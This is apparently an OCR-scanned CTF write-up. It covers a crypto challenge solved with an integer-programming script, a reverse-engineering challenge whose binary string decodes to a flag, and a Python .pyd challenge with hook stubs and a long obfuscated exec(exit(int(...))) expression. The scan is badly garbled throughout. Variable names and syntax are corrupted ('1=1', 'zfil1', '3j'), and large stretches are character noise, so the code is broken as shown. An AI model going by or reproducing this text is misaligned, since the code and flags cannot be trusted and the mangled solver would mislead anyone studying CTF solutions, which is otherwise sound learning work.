4562208903864329062440550882304291384332297607900550327098754186717456630759250
2851743009,
2937642398479956451137372128950652401455457605751604044101142738933426126677879
4105168402,
6071601115862768426588981613203897925789140537015709599829517406797187668099981
3026958646,
1406685293314593227684055394529330748929225614841479280083535376668969026615802
3611456448,
3890996355433437277370256623006387919664590321271218049528502434157753315613207
8951863235,
1321921695622709008473173696894402018934568470250010309776400949143899520192253
5750110533,
1204718484661627436475005758510096019520312225837455903535461965307754942027980
5688830569,
4087882478731167922664499585450444577943599725089781107389692786365485831864007
4150660335,
4705138735424415290769347697182357927705603138033295399026471748278640507273029
1080393602,
2575920831671377576731112459938002289385564143001000513706555068020695027371908
443498864,
9655934184392401474644750753172504070993725136257621924621922559697575564039078
693359566,
1478684250539128217204180182410059559236037063870071738662487878785883914838989
7690853818,
6236601310378032683086246917954153719256829133594125202220238491237093148538290
360630066,
5562785259345940320267469770581646950735339945778884143794663141084515231130725
4377369058,
5406433177824755801287334504467436385090660068435685295997981209893490685303425
6913632942,
5617165251125444650495352636753749378577681937780276454137261154290057645734381
3754616608,
5947219341537617197666657869875609520794642621255864744631134050229717519136920
0716707175,
1487447149231953801473571907675816695948333456952811670663498467156666731434316
8335374800,
3452255492879840534576466909531386181257118339970814292312647964764783625068344



168222674,
1149891888495977724003162664795229220618762009046459620525848551752245309636067
0813520604,
6318497886742082700037845998777114144025992909169181876474079969838590563229202
9229115322,
4257622592247109534606400599223210630323259806252573280174372540992246495738769
4356468070,
1875865382014403247372729355666408868977144433865235251444341205982062156145074
6181643235,
2592680730606632592454341020731233374381216424624284062950810186141687711345247
990798040,
1250419312808651923996596424521734564806647567819893221368683783466330603098475
3279536765,
5987165032812935444269686973040715574840706370610078838210755278397986419968743
6072128628,
2915057454480554703548855046462917289228289503645441263573511315456656939978539
3997820193,
4339934359130579742822137967309064119888725523264050342018543308898539573601214
628913788,
4004324952802666576850377617344868512529774461110391858468458276236853284215262
7606638058,
3825357252661196115320291850200107688236928961037183627996602247249312083315108
7959473472,
5956641346080845727236484365546057354738917321541278067860833700348321864667453
5081268996,
3489300167760545323154195265163613031468306196215203886401185638644876881077614
1213691888,
3043765323134919174263855993022802322749995771691836003001064412103038686696893
8860696122,
6068975811851757276331478621445053201347503628363494956657901579340926512088391
554662908,
4243725594377358109433757543283986418055696924005787129656929887349208996779058
1366707860,
2824231381759644332812271461074234532641074681359661333575468081371254870250768
153180248,
1655524864888357928782208559995134724343826531996018647650206679613529001425466
3611669366,
1680112038002069270674713155029091679602181030847166032143372552813135737525893
7081624685,
5281131908943911328911450289103489229686704537637985949691515744289060914728129
2394032079,
2427747996554721082206204381168365430938461322763296566587551908878430251729827
046537681,
5020094842084547997253566529581407344137758028402486369286721406982735775728878
9893895991,
6177359999002114673561756142081450294373336743887669090863400551455518453371828
887499681,



5361694961429008611603720858634009714002241973408178468210437206138626717031341
8076777325,
4242044013919025757105460035008896264793084428549878573342292937445878337607561
5481983078,
3259191295658713526942509135462871272315105094304255607848039446620141961172840
2409697930,
5762189637376846503327251817789068067651406937062108909897817204330978112143779
6227239737,
5783570264237478191848939460447356509434872468259486306849045777733673853085407
7990849413,
2634674747682963921670144934245048943984727188418828192214877515009120088541264
2910963197,
6198250087209613457682676152401681587200888018390461321399101828958819395668955
664373806,
3619317349832974273473985836069090733283392488947274416047420374389586666367703
9182530474,
3845038770099123360210848608889604371449496563645262196621429129802376076917249
2462407197,
6008770225129186621537358976458252344020573370391923052182407121695114768394667
3171225809,
2304923787635022120537361272672007240859812541708975241267819303851925408875158
300106380,
694405974308181915362019789754241642943588887235791400498203185390094 7775831925
011348886,
2149094613905113123999977921330594158386298720166483838365098251945678855439581
8900027182,
3282937467051423123888462399424096494930056877139251393923322457678247581353447
0143453486,
5355553275327289218852336201322218504654936324610518427337192343456220676684236
9216443888,
3279517093533610506372977522207664160860471570949961198845962341122328064607701
5998785888,
6269057978733683711002759273946385462537912970796465915908078029363227684921357
426501748,
4438195036485519617736775321540620012361486352964160205173760740473034823894669
6810276979,
5437966762079242253775064093254460195018655553935027744034460059185419360259782
3593339809,
4914908352086098634799963864252120369463854392626841225250620240992826400805729
3680911739,
6192854345251594422782134132851961028911837736996680502954337406000136225793106
3051283337,
2603468601063411745636519742826356588850837905887463804972277795660622887534949
4768464333,
2257536166400728484467286998849661174384088546040785236729460310667845246598385
0340616075,
5277710296315729515340699289696364579983061326373103852393445997608717896897776



O© 00 N O U

10
11
12
13
14

582649226,
4102628041596465589313369263091769538359153489773056524919359318285670957297631
9215782312,
4257681156709266346379310434382687600005643333629900169140750064735061465850634
8123032144,
9460712220621703680757148693759965586276268293009623381653950162638843479651313
966731385,
5322715495000181352847362488979259577221374239421055687036611321898597401003879
0902221873,
2439991608335537666468377188016002474080045254001145134836031450042360089045544
9251468427,
6318403395469438934871264166724108326883568340709103490372304011749436340769863
4457995303,
1297587195557658618774881891040231516050304642929790402114853968917161569298760
2818416535,
3630658978070125273610242424252986781372386558289030940896142955458890820617996
7860110663,
5745396047517284960505655652404830262273978842710726030511852837398333858091076
9857952548,
3130911640362578160756620394947909239342911140603825607126056406344008790965192
3616139412,
1042013701345022922094774322943437793365076548282486906616177366033266480396482
4624568388]

1 = [136, 161, 135, 152, 145, 141, 148, 144, 144, 136, 141, 158, 154, 152,

147, 163, 149, 149, 144, 151, 151, 139, 151, 152, 157, 149, 149, 147, 152,

155, 149, 146, 143, 151, 159, 146, 151, 156, 141, 129, 154, 147, 152, 146,

147, 145, 135, 136, 150, 138, 151, 148, 157, 123, 141, 140, 151, 121, 137,

145, 152, 149, 154, 128, 153, 147, 153, 140, 131, 140, 143, 122, 155, 155,

151, 133, 142, 140, 141, 155, 145, 132, 137, 138, 153, 143, 142, 134, 162,

147, 150, 141, 140, 166, 153, 153, 149, 149, 153, 146, 146, 156, 165, 143,

149, 150, 158, 157, 135, 140, 146, 149, 139, 159, 147, 147, 142, 146, 138,

143, 137, 170, 153, 149, 134, 145, 135, 149, 141, 138, 163, 146, 138, 144,

134, 145, 141, 156, 147, 146, 155, 163, 142, 150, 128, 157, 131, 156, 149,

155, 138, 140, 143, 155, 148, 169, 146, 147, 148, 146, 145, 156, 153, 138,

147, 145, 141, 155, 150, 153, 146, 159, 146, 138, 143, 156, 153, 155, 136,

149, 149, 142, 136, 144, 136, 148, 140, 151, 164, 151, 164, 143, 155, 141,

159, 141, 158, 162, 140, 146]

L = 295
w = [bin(ci)[2:].count('1l') for ci in c]

def rot(m, 1=1): # shift left
temp = bin(m)[2:].zfil1(295)
return int(temp[l:] + temp[:1], 2)

for H in range(L + 1):
d =[]



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

def check_hw_basics() -> bool:
for i in range(200):
dd,rr = divmod(w[i]+H-1[1i],2)
if rr or not 0 <= dd <= min(w[i],H):

return False

d.append(dd)

return True

if not check_hw_basics():
continue

# constraint matrix := mt[i,j]: A[i,j] =1
mt = []
for i in range(200):

ci_bin = bin(c[i])[2:].zfill(L)

supp = []
for j in range(L):
if ci_bin[j] == '1':

supp.append(3j)

mt.append([(k + i) % L for k in supp]) #rot_1 i bits

# pulp

pb = pulp.LpProblem("Rm'")

s = [pulp.LpVariable(f"s_{j}",cat=pulp.LpBinary) for j in range(L)]
pb.add(pulp.lpSum(s) == H)

pb.extend (pulp.lpSum(s[j] for j in mt[i]) == d[i] for i in range(200))

st = pb.solve(pulp.PULP_CBC_CMD(msg=False))

def verify(m,cls,1lls):
cur = m
for cc,cl in zip(cls,lls):
if bin(cc M cur).count('1l') != cl:

return False

cur = rot(cur)

return True

if pulp.LpStatus[st] == 'Optimal':
mc = int(''.join(str(int(pulp.value(i))) for i in s), 2)

# verifier

if verify(mc,c,l):



62 print(mc.to_bytes(100).strip(b'\x00'") .decode())
63 break

64

65 # It'5_4_probl3m_o0f_L4ttice!_nOt_LFSR!!

Reverse

GD1 | solved
AT E&EE

¥ Project Recovery = (=] X

pythonit/RiZ4E15Zflag

(RUERCS
1 # “HHEFHEH a
2 a-=

"900001101000000001100101000010000011000001100111000010000100000001110000000100
1000110001001000000000011001110001000101110000011001100001000001010000011100000
00010001001000100010100000001000101000100010111000001010011000010010111000016000
0000000001010000000001000101000010000001000100000110000100010101000100010010000
0011101010001000001110000010001010001000101000001000001000000010010000000011101
1000000111100100000100010100010001100100000101011100001000011100001001000000000
1010110000001101000000100000001000010000011000100100101"

3

4 4 TFEfEdE
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27
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30
31
32

result = ""

# =REX12I

for i in range(0, len(a), 12):

bin_chunk = a[i:i+12]
if len(bin_chunk) < 12:
break # HBERKERE®

# DENN=E . K4U

hundreds_bin = bin_chunk[0:4]

tens_bin = bin_chunk[4:8]

units_bin = bin_chunk[8:12]

# BT

hundreds = int(hundreds_bin, 2)

tens = int(tens_bin, 2)

units = int(units_bin, 2)

# TTEASCIIE

# BiL
# +1{u

# M

ascii_value = hundreds * 100 + tens * 10 + units

# BRAFTHBHR

result += chr(ascii_value)

# HWHER
print("Result:", result)

#Result: DASCTF{xCuBiFYr-u5aP2-QjspKk-rhOLO-w9WZ8DeS}

PLUS | solved

Python3.9, §A init.pyd BEEMNARFBEE—T,

FHITIES, BIRhook—T &K

Z| T unicornfimethodcallerz3, A#E2vm

print(f"methodcaller {args} {kwargs}")

RISIR

1 from dinit dmport *

2

3 def null_emu(*xargs, *xkwargs):

4 return b'e’

5

6 class Hook_m():

7 def __init__(self, *args, **kwargs):
8

9

10

def __call__(self, *args, *x*xkwargs):

pass
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12
13
14
15

m = Hook_m

b = null_emu

encrypt = exec(exit(int(3 + 4 + 4 +2+1+3+5+7+1+6+5+7+1+9
+ 7+3+6+9+3+8+4+5+8+6+5+4+9+7+5+8+8+3+1+
5+9+3+1+8+1+9+7+5+9+5+8+5+3+7+3+6+1+3+6
+ 7+6+5+9+5+1+3+7+1+3+1+7+4+9+4+5+5+7+6+
4+7+1+8+3+4+3+1+2+2+9+6+5+1+7+8+8+5+2+4
+ 8+2+6+6+5+4+5+6+8+8+4+4+1+9+6+3+8+2+8+
1+4+2+9+4+3+9+9+7+6+9+1+2+2+2+5+1+1)+ 1int(8
+6+5+6+6+5+9+7+5+5+1+9+9+8+2+6+6+2+4+2+
4+9+6+7+9+7+9+5+9+9+8+7+2+1+4+3+5+8+3+7
+3+3+4+2+9+5+7+6+4+9+3+1+2+2+3+8+9+9+4+
9+1+9+2+3+8+7+2+5+6+2+2+8+8+8+7+1+7+8+7
+6+1+5+3+6+9+9+9+6+6)+1int(5+2+7+9+9+7+3+6+
2+9+6+9+1+3+3+4+1+7+1+4+5+4+8+1+6+2+5+4
+9+1+7+8+8+1+8+5+2+4+1+3+9+1+4+3+6+7+1+
9+7+4+9+8+6+7+2+1+8+3+8+9+5+6+9+4+6+2+5
+4 +7+4+2+4+8+4+1+4+1+4+3+4+5+3+9+8+7+7+
4+1+8+2+7+3+8+2+7+7+4+6+1+9+5+6+9+2+5+6
+1+6+3+9+5+7+2+1+3+9+8+4+4+8+9+4+3+6++9+
9+2+1+4+4+4+9+7+1+5+4+4+8+7+3+8+8+7+9+9
+2+3+9+3+9+5+9+8+2+1+1+1)+1dnt(L +7+ 1+ 7+ 3+ 4+
2+5+4+3+5+3+8+4+1+2+3+8+2+2+7T+6+3+8+3+2
+4+5+6+5+2+7+7+5+6+9+5+1+1+1+9+3+5+8+ 8+
4+5+7+6+2+8+2+1+3+7+6+9+9+5+8+5+6+1+6+38
+6+6+7+7+1+6+5+7+8+8+7+7+7+7+6+8+2+9+ 3+
7T+ 7+4+5+7+2+6)+1int(5+2+6+6+7+9+3+2+9+2+7+38
+6+4+5+1+9+5+3+3+1+6+2+3+4+5+2+3+4+2+2+
3+8+6+9+1+3+2+7+8+9+1+4+6+3+1+3+4+5+9+9
+ 8+6+4+4+4+3+7+9+9+7+5+7+6+3+4+8+6+8+1+
9+5+5+1+8+7+9+7+8+4+5+7+4+2+7+3+8+5+7+3
+5+3+7+2+4+5+2+8+2+9+9+3+1+6+4+8+ 8+ 3+ 8+
4 +5+1+6+7+8+2+9+6+4+4+5+7+9+3+8+5+4+4+1
+2+3+9+5+1+6+2+4+2+5+5+4+4+3+4+3+6+3+7+
6+2+4+6+2+7+7+6+8+5+5+2+4+1+6+5+8+8+4+38
+ 9 +5+5+2+2+7+5+6+9+1+5+9+1+4+7+8+1+1+1)+
int(4+2+4+8+2+3+5+2+6+4+6+6+3+3+1+8+2+7+3
+5+2+7+5+6+7+7+1+5+2+8+2+7+1+2+9+5+2+5+
5+2+7+9+8+6+9+9+7+2+6+2+1+6+3+4+1+8+8+2
+2+5+9+7+3+3+8+9+9+1+5+8+9+7+5+6+1+9+9+
4 +7+1+8+3+9+7+7+1+7+6+1+7+8+2+9+4+7+1+9
+6+1+9+5+7+5+6+3+6+7+6+4+6+9+6+9+7+8+9 +
7T+9+8+4+2+5+6+6+9+9+5+2+6+7+2+6+6+3+7+7
+2+2+7+8+7+8+2+5+5+6+2+9+1+9+1+2+1+5+2+
5+6+6+7+6+4+4+7+9+4+6+6+2+3)+1int(9 +8+8+7+6
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6+5+1+2+6+8+6+5+4+5+8+3+5+4+5+6+9+1+7+
+3+3+6+6+4+3+3+7+9+5+1+5+9+3+1+3+7+9+4
5+7+9+5+6+7+1+3+5+5+6+8+8+9+1+8+9+4+2+
+9+4+8+4+3+5+5+1+7+1+3+9+2+5+2+6+1+9+5
5+9+2+7+9+6+2+6+8+8+5+7+4+7+4+8+1+8+ 9+
+3+2+5+3+7+1+8+5+2+7+9+5+6+3+9+7+6+6+3
6+6+2+6+5+3+9+5+5+5+5+4+4+5+6+9+6+9+8+
+3+5+9+9+8+5+8+9+1+2)+1dnt(0) + int(4 +1 +3 +9 + 1) +
+9+6+6+8+4+8+8+8+4+1+4+9+6+1+6+5+1+6
1+7+4+8+4+5+5+6+4+5+2+4+9+5+7+6+6+6+2+
+5+9+9+2+5+6+3+3+4+2+8+4+5+2+3+2+6+5+5
5+5+9+4+8+8+9+7+3+4+9+6+2+1+3+3+1+4+T7+
+4+9+4+4+8+4+1+7+5+3+4+4+4+6+3+7+3+5+4
4 +4+9+7+9+1+6+6+3+3+3+1+1+7+9+9+9+1+1+
+3+1+1+1)+dnt(5+1+3+6+4+8+4+6+7T+4+2+4+6+5
9+3+2+6+1+7+8+9+2+9+2+2+9+3+3+8+1+2+T7+
+4+6+4+8+6+7+5+1+1+4+5+3+6+5+8+1+5+3+1
9 +3+1+1+4+9+5+9+6+9+2+6+3+6+8+1+2+4+3+
+ 3+ 4+ 7 +5+7+3+5+9+5+1+4+2+4+4+1+7+8+6+4
4 +8+5+5+1+5+8+5+8+4+2+2+1+5+5+6+6+6+4+
+ 7+3+1+1+7+4+5+9+8+5+5+4+3+1+8+4+9+4+5
7 +6+3+3+1+9+7+9+5+4+4+9+1+8+4+1+1+2+1+
+6+3+9+5+5+7+1+1+3+7+2+5+3+9+7+9+3+8+1
7+ 1+4+6+2+8+5+1+1+6+6+7T+5+2+8+9+7+7+9 +
+7+5+6+6+7+8+3+5+1)+1int(9+6+4+4+1+4+7+3+7
4 +5+4+5+5+5+5+2+8+5+7+7+9+2+4+7+1+6+4+
+1+1+5+1+2+3+2+6+5+9+8+8+3+3+7+1+7+6+5
1+1+9+4+7+9+1+3+8+9+3+7+1+3+2+3+6+1+2+
+2+5+3+7+8+1+8+2+1+4+2+7+5+1+1+7+4+8+6
5+ 7+5+9+6+3+9+5+1+2+7+9+2+2+1+1+2+1)+
+2+2+6+7+9+1+8+5+5+2+8+1+5+1+8+6+8+6
7 +2+5+2+4+4+2+1+2+5+7T+8+3+6+1+6+4+6 +
+5+8+7+7+5+7+5+4+6+1+1+7+9+3+1+1+1+1)
int(6+ 1 +7+7+4+9+8+7+4+3+5+7+7+6+5+6+6+3+
+3+9+6+5+1+8+8+7+2+1+5+9+1+6+2+8+9+9+3
6 +9+4+1+1+9+7+6+6+5+4+6+8+7+3+4+2+5+7+
+9+1+1+7+1+4+2+1+5+7+8+5+9+9+7+7+4+8+ 8
6 +7+2+6+4+3+6+2+6+6+7+7+1+3+2+9+5+7+5+
+2+1+5+3+5+4+2+4+3+7T+1+5+2+4+2+5+2+5+6
4 +5+5+4+5+1+8+9+8+1+9+1+7+9+4+8+9+5+ 1+
+ 6 +4+2+2+5+9+2+6+4+8+2+6+2+6+2+3+7+5+38
1+4+3+3+7+6+1+5+7+1+8+7+8+8+2+2+8+2+5+
+1+6+5+7+1+2+1)+1int(3+4+8+8+2+1+6+3+6+2+6
6 +1+4+1+8+3+6+1+3+2+5+2+1+7+7+7+8+ 1+ 8+
+5+2+9+9+3+9+2+9+8+8+6+7+6+2+3)+10nt(5+3+7
5+6+9+4+4+1+1+7+3+2+4+2+6+9+5+5+9+9+8+
+9+6+3+6+3+4+6+8+1+9+3+3+8+6+1+3+6+7+09



+ W + B + O + W + N + N 4+ 0 4+ B+ 0 + U
F + N+ W 4+ 0+ DM+ B 4+ N+ 00O+ D+ N+
+ 00 + 0 + 0O + W + W + H 4+ W o+ N+ B+~

+ B 4+ N + 00 + O +
©® + ©O© + ~N + O
+ N+ N+ e

+ B 4+ N+ B+ N+ 0+ 0O+ N+ DN+ U+ U+ O+ O+ O+ N+ N+ R+ N+ O+ N+
)
A
+

+ W + O + W + O FH + ~N + B + ~N + 0 + O + W + N + ~N + ~N + ~N + W + ~N + ~N + 0 + 0 + 0O + W + W + ©
+ 00 4+ 0 4+ W+ O+ N+ W+ W+ O+ H 4+ O+ D+ N+ N+ DA+ N+ R+ o+ N+ B+

+ O 4+ W+ O+ N U+ O+ W+ O+ W+ O+ O+ N+ N+

o + 00 + 00 + » +

+ O + N+ N+ W+ N+ N+ N+ OO+ N

©® + ©O© + O + = 4+
N + O+ © + W o+
+ W + A + D+ 0O + 00 + O + O +
W+ B+ 0+ © +

+ O 4+ D 4+ O + N+ O+ N+ O+ O+ N A+
O + O + W + O + W + U + G + © + G + W
U+ 0 + B 4+ © + W + © + N + 0 + H + N +
+ O + N + N 4+ 0 + D + O 4+ 0 + W + A + W
W+ H 4+ © + D + 0 + W + W + F + N + N +

=
+

7T+ 3+ 3

+ 5+ 8 +

+
(e
+

w + 00 + U1 + ©

int(6

+ W + A + N + N3 G+ © + 00 +

+ U+ W o+ W o+ W
+ N+ © + W+ B U+ R o+ O+ o+~ 4+ U+ B+
+ D + D+ 0 +
© + W o+ N o+ N+

+ & + U1 + O + W o + © + O + O +

N 4+ B+ W o+ N+
g o+ 0 + N O+ N+
+ 0 4+ U1 + © +
N o+ =+ N+ N
+ 00 4+ N+ O +

+ 00 4+ W + W + 00 + O +
N + W+ N+ U+ © + N
+ O 4+ U+ B+ O + N o+

+ D+ B + W+ W+ 0+ N+ N+ O+ O+ W
H o+ N 4+ © 4+ W+ W+ U+ R+ W+ O+ O+
+ 0 + B + B 4+ N + 0O + O + 00 + N + © + ~

N+ B+ O+
+ ~N + o+ b+
N O+ © 4+ N+

+ N 4+ G+ D+ =+
W + O + 0 4+ N O+ N
+ M + B + D+ O +
A+ N+ U+ B+ R
+ M + O + O+ ~N o+
o+ A + U+ W o+ N

+ B 4+ N + © + ©
o+ M + W + © +
+ B+ W o+ W o+ e
+ 0 + B 4+ W+~ O + U+ = o+ O +

=

~—
+
-

o + O + O + K= 3

4

+ W + o + M + »

N o+ 00+ W+ O

2 +5+6+2+1+9+8+1+6+7+6+
+7+3+3+8+4+6+3+2+1)+1int(4
5+1+9+1+4+4+4+1+9+1+8+
+6+4+3+9+7+6+3+1+4+ 4+ 3
7+ 7 +3+5+7+9+2+2+2+8+3+
+2+1+4+8+7+6+4+6+6+5+1
6 +6+1+9+3+3+1+2+9+4+5+
+4 +6+4+4+2+9+4+2+7+ 8+ 8
5+9+1+8+7+7+5+4+3+7+5+
+ 7 +2+5+1+2+8+2+2+4+8+8
5+5+1+1+7+5+7+2+6+7+6+
6) +int(2+1+1+4+2+2+4+5+6+6+7
+ 2+ 7+6+4+1+7+6+3+9+2+8+7+
+4+9+2+8+6+2+3+3+9+6+8
8+4+6+7+8+5+5+5+5+8+6 +
+9+3+1+8+5+2+7+6+9+7+38
4 +5+8+3+8+6+5+2+4+2+1+
+9+9+5+4+3+9+6+4+5+6+2
8+6+9+8+3+5+3+1+8+3+3+
+ 3+4+4+4+4+9+8+2+7+5+2
1) +int(7 + 8 +9+3+3+1+1+3+3+5+2+3+3+5+8+8+
+8+2+2+5+9+1+1+1+5+7+29
7+5+1+2+3+4+8+3+8+4+5+
+ 3 +1+2+4+3+2+4+3+9+9+7
6 +7+2+4+5+7+6+4+4+ 3+ 2+
+4+2+5+3+2+5+7+1+1+2+4
24+ 9 +4+2+2+ 7T +8+4+7+7+3+
+ 2 +4+7+3+8+4+1+2+8+5+7
1+4+1+3+4+7+5+3+8+2+ 8+
+ 5+ 7 +2+3+1+9+7+3+2+9+4
+3+9+4+3+9+6+8+5+9+9+8+6+7+8+
+ 2 +2+8+6+8+6+2+2+7+6+3
4 +6+5+9+4+7+4+3+7+5+ 4+
+ 8+ 4+8+5+9 +3+3+5+4+1+4
5+ 7+7+4+8+5+9+6+6+6+ 8+
+ 7+8+9+2+8+1+2+4+2+7+ 4
9+8+5+1+9+6+9+3+5+3+8+
+5+2+2+8+8+7+4+6+5+3+3
1+3+4+1+1)+1int(0) + int(8 +7 + 6
+4 +1+6+5+6+4+1+4+6+ 3+ 3+
+6+9+5+9+8+8+6+9+1+3+2
7+ 7 +7+6+2+7+4+8+5+6+6+
+ 7+ 7+9+1+2+6+9+7+7+7+6
2+1+9+4+8+1+1+5+9+6+ 3+
+ 4+ 7 +7+6+3+4+4+3+7+9+1
4 +5+6+3+3+8+4+5+8+4+9+
+1+3+4+3+6+5+8+6+5+3+7



+ 2+ 7 +5+6+3+8+4+2+2+7T+1+7+2+9+5+1+1+2)+

int3+8+8+1+5+9+3+3+6+3+9+4+6+3+1+7+8+7+4
+ 8+9+7+9+3+4+9+9+9+9+1+9+5+6+6+7+9+3+6+
8+4+2+6+5+8+6+3+7+8+9+9+5+5+6+3+9+8+3+6
+ 8+4+1+3+4+1+6+1+2+3+2+9+3+3+9+1+2+6++2+
5+5+1+6+4+6+3+8+3+6+7+7+3+1+1+7+4+8+ 8+ 3
+ 8+1+2+5+7+9+3+5+4+5+2+5+9+1+3+4+5+5+9 +
1+6+3+8+3+4+1+8+2+2+7T+9+4+7+8+6+8+1+9+2
+1+4+7+9+5+9+5+8+8+3+4+1+5+4+6+9+1+1+T7H+
6 +8+8+1) +1int(7 +2+3 +5+8+4+4+9+1+7+7+4+1+8+38
+7+6+6+6+4+2+4+7)+1Int(0) + int(8+9 +4+3+7+1+6+3
+3+2+5+2+1+7+5+2+9+3+9+4+1+2)+1int(3 +9 + 2+ 7+
3+8+2+4+4+1+3+4+6+7+4+8+7+6+7+5+9+6+5+8
+4+7+5+4+5+1+2+3+8+3+7+6+2+7+1+2+7+9+8+
6+4+4+4+2+9+6+2+3+4+7+2+6+3+8+5+3+1+7+9
+ 8+5+6+1+5+6+5+2+4+2+5+9+7+8+5+4+3+2+6+
4+6+2+6+4+6+3+1+5+1+3+3+6+6+2+9+8+8+9+1
+1+6+4+2+4+3+2+2+7T+2+5+5+6+3+2+2+2+1)+

int(9+5+1+2+2+4+5+1+7+4+2+3+6+7+8+3+6+7+6
+6+9+7+8+4+6+1+3+5+6+4+4+4+3+5+1+6+8+9 +
3+3+4+2+3+2+7+6+4+3+5+2+4+1+4+6+5+4+4+7
+4+7+6+8+5+8+3+5+1+2+1+3+6+3+1+8+5+9+09+
9+8+7+4+6+9+2+7+3+3+6+5+9+6+1+8+4+3+5+7
+2+4+4+7+2+9+5+9+8+7+6+1+4+6+2+4+7+2+ 8+
5+7+4+7+8+1+4+5+1+8+1+3+2+6+9+4+8+6+9+9
+5+3+3+2+7+5+7+4+7+6+9+4+3+2+5+2+5+6++2+
4+8+9+9+6+5+3+3+8+3+2+1+4)+1int(3 +8+5+4+5+8
+ 7+ 7 +2+7+4+5+7+6+7+6+4+4+8+4+2+4+7+2+ 4+
4+6+3+7+7T+3+1+8+1+3+9+6+6+5+1+1+5+6+3+2
+4+7+7+6+5+8+5+1+6+8+7+1+5+2+1+3+9+5+7+
5+2+7+5+5+9+6+7+2+1+9+5+1+3+5+2+2+2+1+1
+4 +8+9+4+8+8+5+3+3+1+9+7+9+6+1+5+3+9+ 2+
7+4+4+9+7+5+3+9+1+4+3+6+6+6+9+3+7+6+3+9
+4+7+4+7+3+3+2+4+6+3+6+4+4+2+5+1+8+1+3+
3+4+5+7+7+9+4+2+5+2+9+7+8+1+1+2+6+6+5+6
+1+1+9+9+4) +int(6+1+5+1+7+2+5+9+1+5+6+6+4+
4+ 7+7T+9+4+3+5+9+6+3+7+6+7+2+6+7+7+8+7+4
+ 7+1+7+8+3+6+3+9+7+5+7+9+2+3+1+3+1+5+6+
3+4+7+4+7+7+7+8+5+1+3+4+2+1+9+6+1+2+9+1
+ 7+6+8+1+7+6+7+5+7+2+1+6+8+6+7+3+3+1+8+
3+2+5+2+6+2+5+1+5+5+7+8+1+3+3+3+4+7+7+6
+3+3+9+4+1+4+6+4+3+6+3+6+6+5+5+9+5+2+7+
1+9+8+7+3+5+7+4+1+5+5+1+2+4+8+5+2+7+1+3
+9+1+7+6+8+7+4+2+8+2+3+3+8+3+4+3+8+ 3+ 1+
9+4+5+3+8+3+T7+2+4+7+4+7+5+2+1)+1dnt(2+1+6+2
+1+6+5+7+1+3+2+1+4+3+9+5+5+2+6+8+6+6++9 +
3+7+9+6+8+6+8+6+3+4+1+4+2+5+1+1+1+6+9+6



+ N 4+ W + O + W + U + B + U + U + B + B + 0 + O + O + ~N + G + © + » + D + 0 + = +
+ W + N + O + W + © + O + 0 + O + ©W + N + N + D + M + N + N+ O+ FH + D+ 0 +
A+ U+ © 4+ B o+ B o+ DM+ N+ W+ R+ R+ R+ N+ D+ O+ N+ 0O+ N+ O+ W+ N+

+ A + B + O 4+ N+ N+ O 4+ ©
W+ N+ D+ N+ O+ O+ N+

=
~—
+

+ M + O + b o+
O + 0 + N o+ W
+ U+ O+ N+

+ W 4+ W+ O + N+ O + O + W

+ ® + ~ + ~N 35 W + ~N + N + ® + © + 0 + G +
N + © + ~ + ~ + W + B + 0 + © + ~ + N + ~

t

1 +

+ 1 + 4 + + 9 +3+9+4+2+2+7T+6+9+2+4+6+1+
6+1+4+7+8+9+1+3+4+8+2+3+3+4+9+1
T+ 7 P 3 +8+2+2+5+9+1+2+1+1+4+5+ 4+
9+1+4+3+5+7+2+7+8+6+4+6+5+9+7+7
+ 2 + 8 + + 8+4+1+5+6+9+5+6+4+5+8+ 4+
1+2+3+7+9+1)+1int(2 +5+8+4+2+3+7+ 4+ 4
+9+4+7+7+8+9)+1dnt(7 +8+7+3+3+9+ 4+ 8+
8+8+7+1+1+3+1+3+9+9+7+8+1+3+5+1
+ 9 + 9 + + 9 +9 +2+2+2+9+6+2+8+7+9+ 5+
4 +7+5+7+8+6+3+3+4+5+7+4+8+8+4+1
+ 9 + 7 + +1+4+9+7+7+7+7+7+2+7+4+7+
1+8+1+5+7+4+2+9+7+8+6+3+7+8+6+2
+ 9 + 4 + + 7+3+3+5+6+4+1+8+5+6+8+ 4+
4+6+8+7+6+8+8+6+7+5+1+9+6+8+8+5
+9+4+6+8+7+9+8+5+7+4+8+7+ 4+ 3+ 3+
7+6+7+2+9+1+6+6+2+5+3+7+9+3+6+2
+ 4 + 2 + +3+6+5+4+5+9+3+4+3+5+1+ 4+
4 +7+9+4+1+8+3+1+6+8+4+8+3+2+2+3
+ 6 + 3 + +7+7+3+5+1+6+8+9+2+2+2+5+
9+3+9+9+4+8+6+2+9+8+6+7+4+3+1+1
+ 1 + 2 + + 7+6 +1+9+2+7+4+2+1+9+6+ 4+
6+8+6+3+5+6+8+5+5+8+6+1+6+8+2+9

+ A + W+ O F+ N+ W o+ W o+ U

+ N 4+ 0+ W o+

6) +int(4+4+9+6+9+2+8+3+1+5+6+3+9+1+3+5+
+1+9+8+8+2+1+9+5+8+1+1+1+2+9+4+7+ 4+ 5
2 +6 +4+ 7+ 9 +
+ 1 +7+7+2+09
3+9+2+3+ 2+
+ 6 +3+9+ 2+ 5
1) + int(9 + 5 + 4 +
+ 6 +5+ 7 +7+2
5+ 8+ 7+3+9 +

6 +7+6

+ 7 + 1 +

8 +2 +9

+ 1 + 2 +

7T+ 1+7

+ 9 + 3 +

2 +9+8

+ 8) + 1in
3+7+3

+ 4 + 4 +

2 +8+8

+ 6 + 4 +

2+ 2+ 2

+ 4 + 7 +
7+5+3

+ 7 + 2 +
9+8+5+4
int(0) + int(0)
1+5+ 4+ 1+
+9+6+9+6
7+ 3 +4+ 7+
+4+6+6+9
2 +4+5+ 4 +

+ 6 + 8 +

+ 8 +1

(o]

a o+ N+ =
+ B o+ N+
o + 0 o+
+ O + o +

O + B + O + O +
+ N 4+ U+ B D+ R+ N+ O+ O
g o+ W o+ =+
+ N+

o + O + ©
+ O 4+ W o+

+ B 4+ D+ N+ R+ o~ + N+ W+

O+ O + H 4+ O o+ W
+ U+ O + O + O +
W + N+ © 4+ B o+ ©

int(
+5
4 +
+ 4
1+
+ 8

W + 0 + ~N +

8

o+ N o+ 0 +
+ N 4+ D+
A+ N O+ b
N
= o+ 0+ b
+ W o+ N+
A+ B o+ b
+ O + 0 +
g o+ N+ O
+ © 4+ N+
N O+ N+ N
+ O + o +
W o+ N+ W
+ © 4+ B+
© + N+ N
+ 0 + © +

+ 9
7+

+ N + B + O + O +
A+ N+ o+ W+ N

+ 4 + 1 +

2 +2 + 8

+ D+ W+ O + ~N o+

+ W o+ D+ o+ N
